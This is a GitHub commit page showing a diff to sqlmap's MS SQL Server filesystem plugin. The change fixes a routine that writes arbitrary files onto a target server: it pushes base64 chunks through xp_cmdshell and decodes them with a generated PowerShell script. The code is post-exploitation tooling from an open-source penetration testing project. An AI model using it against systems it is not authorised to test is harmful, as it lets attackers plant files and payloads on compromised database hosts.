Skip to content

Commit 5c64a31

Browse files
committed
works now.. can upload arbitrary files via powershell now, closes sqlmapproject#742
1 parent 3e431ec commit 5c64a31

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

plugins/dbms/mssqlserver/filesystem.py

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -173,10 +173,10 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
173173
encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
174174
encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File)
175175

176-
randPSScript = "tmpf%s.ps1" % randomStr(lowercase=True)
176+
randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
177177
randPSScriptPath = "%s\%s" % (tmpPath, randPSScript)
178178

179-
wFileSize = len(wFileContent)
179+
wFileSize = len(encodedFileContent)
180180
chunkMaxSize = 1024
181181

182182
logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)
@@ -186,9 +186,10 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
186186
self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
187187

188188
#psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile)
189-
psString = "$Base64 = Get-Content -Path %s; $Content = " % encodedBase64FilePath
189+
psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
190+
psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
190191
psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
191-
psString += "-Path %s -Value $Content -Encoding Byte" % dFile
192+
psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile
192193

193194
logger.debug("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath)
194195
self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)

0 commit comments

Comments
 (0)